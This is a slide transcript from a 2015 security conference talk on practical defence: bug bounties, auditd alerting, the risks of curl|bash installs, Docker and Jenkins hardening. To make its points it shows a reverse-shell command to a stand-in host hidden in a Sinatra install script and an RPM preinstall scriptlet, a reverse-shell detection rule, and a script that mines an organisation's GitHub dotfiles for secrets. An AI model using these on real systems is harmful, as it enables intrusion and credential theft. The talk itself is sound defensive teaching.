$30 off During Our Annual Pro Sale. View Details »

Security for non-Unicorns!

Bea Hughes
October 22, 2015
1.5k

Security for non-Unicorns!

LASCON 2015

Security for the rest of us.

Bea Hughes

October 22, 2015
Tweet

Transcript

  1. SECURITY FOR NON-UNICORNS
    1 https://www.etsy.com/listing/205741051/unicorn-dog-hat-rainbow-unicorn-dog
    1 — @benjammingh for LasCon 2015

    View Slide

  2. PETE ALREADY GAVE MY TALK AS A KEYNOTE
    ):
    2 — @benjammingh for LasCon 2015

    View Slide

  3. WHO'S THIS CLOWN? 2
    ▸ Infrastructure security at Etsy.
    ▸ Recovered operations monkey at Puppet Labs.
    ▸ Own a lot of black t-shirts.
    ▸ Had 1300 accounts on his high school Linux system. (:
    2 https://twitter.com/skullmandible/status/411281851131523072
    3 — @benjammingh for LasCon 2015

    View Slide

  4. SETLIST
    ▸ Intros. (you are here).
    ▸ Frame the problem, why am I here.
    ▸ Things from the real world(™) & how to cope.
    ▸ Far far too many summaries.
    ▸ Wings, moonshine and dancing? (I have no idea)
    4 — @benjammingh for LasCon 2015

    View Slide

  5. SECURITY!
    5 — @benjammingh for LasCon 2015

    View Slide

  6. UNICORNS?
    6 — @benjammingh for LasCon 2015

    View Slide

  7. THE PROBLEM
    SECURITY IS HARD.
    7 — @benjammingh for LasCon 2015

    View Slide

  8. FROM TINY SEEDS, DO MIGHTY ACORNS
    GROW.
    ▸ PinkiePwn's 6 tiny bugs in Chrome to full sandbox
    escape.
    ▸ Egor Homakov's 5 small bugs in Github to full private
    access on GitHub.
    ▸ XSS to remote code execution in under an hour.
    ▸ Username & password from HVAC system leads to
    8 — @benjammingh for LasCon 2015

    View Slide

  9. THINGS THAT ARE NOT
    SECURITY ARE HARD TOO.
    9 — @benjammingh for LasCon 2015

    View Slide

  10. COMPUTERISING IS HARD.
    No. 1 takeaway for security types
    is a sense of perspective.
    (maybe even humility! gasp)
    10 — @benjammingh for LasCon 2015

    View Slide

  11. SECURITY PEOPLE AREN'T GREAT
    SECURE CODERS.
    ▸ Snort: 10 CVEs, Wireshark: 322! CVEs
    ▸ Security Firm Bit9 Hacked, Used to Spread Malware
    ▸ Joxean Koret on Breaking Antivurius software
    ▸ Tavis from Project Zero on exploiting ESET
    ▸ BEST! FireEye just running Apache/PHP as root !
    11 — @benjammingh for LasCon 2015

    View Slide

  12. SO WHO DO I TRUST?
    ▸ No one? Always a great position for security people,
    who don't want to get paid.
    ▸ Everyone? Do I have some emails with funny cats for
    you to click on.
    ▸ Security vendors? If you have infinite money and no
    attackers.
    ▸ Attackers!
    12 — @benjammingh for LasCon 2015

    View Slide

  13. "YOU'RE ALREADY BEING PROBED
    FOR SECURITY HOLES, DO YOU
    WANT TO KNOW OR NOT?"
    13 — @benjammingh for LasCon 2015

    View Slide

  14. BUG BOUNTIES 101:
    HAVE ONE!
    BUG CROWD VS. HACKERONE
    14 — @benjammingh for LasCon 2015

    View Slide

  15. BUG BOUNTIES 102:
    PREPARE A LOT.
    15 — @benjammingh for LasCon 2015

    View Slide

  16. BUG BOUNTIES 103:
    THE FIRST FEW WEEKS WILL BE HELL.
    16 — @benjammingh for LasCon 2015

    View Slide

  17. BUG BOUNTIES 104:
    BE READY WITH BEES!
    17 — @benjammingh for LasCon 2015

    View Slide

  18. SECURITY ON THE INSIDE
    18 — @benjammingh for LasCon 2015

    View Slide

  19. ARMADILLO
    SECURITY
    ARCHITECTUR
    19 — @benjammingh for LasCon 2015

    View Slide

  20. 20 — @benjammingh for LasCon 2015

    View Slide

  21. CLOUD
    21 — @benjammingh for LasCon 2015

    View Slide

  22. GITHUB
    22 — @benjammingh for LasCon 2015

    View Slide

  23. 23 — @benjammingh for LasCon 2015

    View Slide

  24. BUT THIS DOESN'T HAPPEN
    IN REAL LIFE, RIGHT?
    24 — @benjammingh for LasCon 2015

    View Slide

  25. 25 — @benjammingh for LasCon 2015

    View Slide

  26. terrible bash example (don't do this)
    # for i in $(curl --silent 'https://api.github.com/orgs//members' \
    # | grep html_url | cut -f 4 -d '"' | cut -d / -f 4); \
    # do ( curl --silent https://api.github.com/repos/$i/dotfiles | grep -q 'Not Found' || \
    # git clone https://github.com/$i/dotfiles.git $i ) \
    # ; done
    for i in * ; do
    [ -d "$i/.git" ] || continue
    cd $i
    for revision in $(git rev-list --all) ; do
    unset PAGER
    export GIT_PAGER=""
    # find . -iname \*.key -or -iname \*.pem
    out="$(git grep -i -E "$1" ${revision} )"
    if [ $? -eq 0 ] ; then
    echo "${out}" | LANG="C" sed "s/^/$i: /"
    fi
    done
    cd ..
    done
    26 — @benjammingh for LasCon 2015

    View Slide

  27. GO USE GITROB
    ▸ http://michenriksen.com/blog/gitrob-putting-the-
    open-source-in-osint/
    ▸ https://github.com/michenriksen/gitrob
    27 — @benjammingh for LasCon 2015

    View Slide

  28. AUDITD
    28 — @benjammingh for LasCon 2015

    View Slide

  29. AUDITD
    Auditd is the best way to get command execution logged
    in your infrastructure.
    29 — @benjammingh for LasCon 2015

    View Slide

  30. AUDITD
    Auditd is the worst way to get this information to a log
    file.
    type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000....
    typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl"
    type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax"
    type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
    type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
    type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
    30 — @benjammingh for LasCon 2015

    View Slide

  31. MARK ELLZEY ON AUDITD.
    31 — @benjammingh for LasCon 2015

    View Slide

  32. WHY?
    "Why are the logs multiline?"
    -- David Shing, aka "Shingy", aka "The Shing", aka "AOL's
    32 — @benjammingh for LasCon 2015

    View Slide

  33. MULTILINE LOGS ARE
    THE SPAWN OF THE
    DEVIL ORACLE'S JAVA
    33 — @benjammingh for LasCon 2015

    View Slide

  34. COPING WITH MULTILINE AUDITD
    ▸ ELK: multiline filter in Logstash.
    ▸ Other: github/gdestuynder/Audisp-json
    ▸ Have cash, want a decent GUI (and more): Go use
    Threatstack!
    ▸ Write something yourself in python & golang: I keep
    promising to OSS this ):
    34 — @benjammingh for LasCon 2015

    View Slide

  35. ALERT ON SKETCHY THINGS. (ASSUMES
    ELK)
    1. Elastalert from Yelp
    2. Alert on "/bin/nc *-e /bin/sh*"
    3. You will now find when someone tries to run a reverse
    shell!
    4. Or when yours ops people do fun things.
    35 — @benjammingh for LasCon 2015

    View Slide

  36. CURL | BASH
    36 — @benjammingh for LasCon 2015

    View Slide

  37. CURL LEGIT.PW | SH
    37 — @benjammingh for LasCon 2015

    View Slide

  38. "BUT I CHECK THEM, OBVIOUSLY!"
    38 — @benjammingh for LasCon 2015

    View Slide

  39. SINATRA EXAMPLE
    get '/install.sh' do
    if request.env['HTTP_USER_AGENT'] =~ /curl/
    return 'nc -e /bin/sh root.legit.pw 2222 &'
    else
    return print_install_code()
    end
    end
    39 — @benjammingh for LasCon 2015

    View Slide

  40. SINATRA EXAMPLE 2: PAYBACK
    get '/install.sh' do
    ip = request.env['HTTP_CLIENT_IP']
    if seen_before.include? ip
    return print_install_code()
    else
    seen_before << ip
    return 'nc -e /bin/sh root.legit.pw 2222 &'
    end
    end
    40 — @benjammingh for LasCon 2015

    View Slide

  41. 41 — @benjammingh for LasCon 2015

    View Slide

  42. 42 — @benjammingh for LasCon 2015

    View Slide

  43. CURL | BASH
    "BUT THIS IS NO WORSE THAN PACKAGES."
    foo$ sudo yum install sketchy
    foo$ sudo aptitude install sketchy
    43 — @benjammingh for LasCon 2015

    View Slide

  44. CURL | BASH
    "but worse than downloading RPMs from a random site?"
    foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm
    foo$ dpkg-sig --verify sketchy.1.33-7.deb
    44 — @benjammingh for LasCon 2015

    View Slide

  45. CURL | BASH
    root# rpm -qp --scripts sketchy-1.33-7.rpm
    preinstall scriptlet (using /bin/sh):
    bash -c 'while : ; \
    do \
    nc -e /bin/sh root.legit.pw 2222 ;\
    done'
    45 — @benjammingh for LasCon 2015

    View Slide

  46. VERIFIABLE
    This doesn't exist:
    foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify
    No one has ever done this:
    foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh
    46 — @benjammingh for LasCon 2015

    View Slide

  47. CURL | BASH
    "But I trust HTTPS"
    ▸ HTTPS certs cost ~$6.
    ▸ If I can't make $6 by owning a system, I should
    probably stop being an attacker.
    ▸ @letsencrypt will soon make this free.
    47 — @benjammingh for LasCon 2015

    View Slide

  48. CURL | BASH
    curl -k
    48 — @benjammingh for LasCon 2015

    View Slide

  49. CURL --YOLO | \
    SUDO SH --YOLO
    49 — @benjammingh for LasCon 2015

    View Slide

  50. CURL | BASH
    What to do?
    50 — @benjammingh for LasCon 2015

    View Slide

  51. A LIVE DEMO,
    51 — @benjammingh for LasCon 2015

    View Slide

  52. LIGHTWEIGHT
    CONTAINERS!
    52 — @benjammingh for LasCon 2015

    View Slide

  53. CHROOT(8)
    53 — @benjammingh for LasCon 2015

    View Slide

  54. FREEBSD JAILS
    54 — @benjammingh for LasCon 2015

    View Slide

  55. SOLARIS ZONES
    55 — @benjammingh for LasCon 2015

    View Slide

  56. AIX WPAR
    56 — @benjammingh for LasCon 2015

    View Slide

  57. 57 — @benjammingh for LasCon 2015

    View Slide

  58. IS DOCKER
    SECURE?
    58 — @benjammingh for LasCon 2015

    View Slide

  59. >30% OF IMAGES IN DOCKER HUB
    CONTAIN HIGH PRIORITY SECURITY
    VULNS
    - JAYANTH GUMMARAJU, TARUN
    DESIKAN AND YOSHIO TURNER
    FROM BANYANOPS
    59 — @benjammingh for LasCon 2015

    View Slide

  60. >30% OF MSDN CDS
    CONTAIN HIGH
    PRIORITY SECURITY
    VULNS
    60 — @benjammingh for LasCon 2015

    View Slide

  61. 61 — @benjammingh for LasCon 2015

    View Slide

  62. AS SECURE AS VAGRANT?
    62 — @benjammingh for LasCon 2015

    View Slide

  63. BUT IS DOCKER ITSELF SECURE?
    ▸ Don't run things as root.
    ▸ No really, stop running things as root.
    ▸ Did I mention not running things as root.
    ▸ It is also not 1999.
    (Docker 1.8 addresses some of this, with it's changes to
    who it runs as)
    63 — @benjammingh for LasCon 2015

    View Slide

  64. SECURIFY THE DOCKER.
    ▸ Don't use --privileged.
    ▸ Use --cap-drop all and --cap-drop
    to get the minimum capabilities.
    ▸ Use Docker Notary
    ▸ Use GRSecurity (just do that anyway, if you can.)
    ▸ Use SELinux... I may as well ask for a pony here.
    64 — @benjammingh for LasCon 2015

    View Slide

  65. BUT IS DOCKER
    SECURE?
    MORE SECURE THAN
    WHAT?
    65 — @benjammingh for LasCon 2015

    View Slide

  66. MORE SECURE THAN
    WHAT?
    FROM WHOM?
    66 — @benjammingh for LasCon 2015

    View Slide

  67. 67 — @benjammingh for LasCon 2015

    View Slide

  68. THREAT MODELLING FOR BEGINNERS
    1. what are you actually defending against?
    2. from whom?
    3. for how much?
    68 — @benjammingh for LasCon 2015

    View Slide

  69. LATERAL MOVEMENT >
    UID=0
    69 — @benjammingh for LasCon 2015

    View Slide


  70. ▸ I am not saying Docker is ZOMG unhackable.
    ▸ it's just cgroups and namespacing. (just)
    ▸ Escapes will happen.
    ▸ They have a rad security team (Hi @diogomonica and
    @nathanmccauley)
    70 — @benjammingh for LasCon 2015

    View Slide

  71. UNPINCHOFSALTD
    ▸ You can use it in a way that is secure, enough.
    ▸ network separation & segregation still works.
    ▸ secrets/credentials still a bigger problem.
    ▸ PLEASE don't just adopt it because it's new & shiny.
    ▸ ! " unikernels ✨ $
    71 — @benjammingh for LasCon 2015

    View Slide

  72. JENKINS!
    72 — @benjammingh for LasCon 2015

    View Slide

  73. IT'S ENTIRE JOB IS TO TAKE ARBITRARY CODE AND RUN IT,
    WITH ACCESS TO SOME SECRET/CREDENTIAL DATA.
    73 — @benjammingh for LasCon 2015

    View Slide

  74. IT'S LITERALLY
    REMOTE CODE EXECUTION
    AS A SERVICE.
    74 — @benjammingh for LasCon 2015

    View Slide

  75. OLD CRUFTY CONFIGS
    +
    ALL YOUR CODE & SECRETS
    75 — @benjammingh for LasCon 2015

    View Slide

  76. 76 — @benjammingh for LasCon 2015

    View Slide

  77. RCE as a service 6
    6 Hacking Jenkins Servers With No Password
    77 — @benjammingh for LasCon 2015

    View Slide

  78. MAKE JENKINS SUCK FEWER
    * DISABLE EXECUTION ON THE
    MASTER JENKINS HOST.
    * DISABLE ANONYMOUS ACCESS.
    * (USE TRAVIS, IF YOU CAN)
    78 — @benjammingh for LasCon 2015

    View Slide

  79. BUT WHAT IF JENKINS
    COULD BE HARNESSED
    FOR GOOD?
    79 — @benjammingh for LasCon 2015

    View Slide

  80. NOT STOLEN FROM NickG's old 2012 deck. 7
    7 Thanks Nick. nickgsuperstar/devopssec-apply-devops-principles-to-security
    80 — @benjammingh for LasCon 2015

    View Slide

  81. JENKINS AS A FORCE FOR [SECURITY]
    GOOD
    ▸ Gauntlt "be mean to your code"
    ▸ https://github.com/secure-pipeline
    ▸ Even Adobe blog on secure software, zomg!
    81 — @benjammingh for LasCon 2015

    View Slide

  82. 82 — @benjammingh for LasCon 2015

    View Slide

  83. 83 — @benjammingh for LasCon 2015

    View Slide

  84. SUMMARY
    ▸ Computers are apparently hard.
    ▸ Security is clearly harder still, obv.
    ▸ Actually trust and humans is hard.
    ▸ The typing is the easy bit. (ish)
    84 — @benjammingh for LasCon 2015

    View Slide

  85. MORE SUMMARY
    ▸ Complex systems lead to much more complex security
    problems. (see Oauth)
    ▸ Annual pen-tests don't scale, bug bounties can help.
    ▸ Attackers are mining any public info you have (GitHub,
    S3, pastebin?)
    ▸ No really, go check all your S3 buckets...
    85 — @benjammingh for LasCon 2015

    View Slide

  86. WILL THERE BE A SUMMARY OF
    SUMMARIES?
    ▸ I beg you to stop trusting curl.
    ▸ Auditd is awful, but it can be fewer awful.
    ▸ Jenkins, you probably have to have one.
    ▸ but that can be okay, nay, even useful for security.
    86 — @benjammingh for LasCon 2015

    View Slide

  87. A SUMMARY APPEARED, WHAT
    HAPPENED NEXT WILL SHOCK YOU
    ▸ Docker and security can be used in the same
    sentence.
    ▸ Understand your threat model (Apple's guide)
    ▸ Don't be a FireEye, stop running things as root.
    87 — @benjammingh for LasCon 2015

    View Slide

  88. THANK YOU
    ▸ Twidder: @benjammingh
    ▸ LinkedIn: lnkdin.me/p/benyeah
    ▸ FidoNet: 2:254/524.13
    ▸ JitHub: github.com/barn
    ▸ SpeakerDeck: speakerdeck.com/barnbarn
    ▸ Etsy: Careers <--- CodeAsCraft <--- our blog
    88 — @benjammingh for LasCon 2015

    View Slide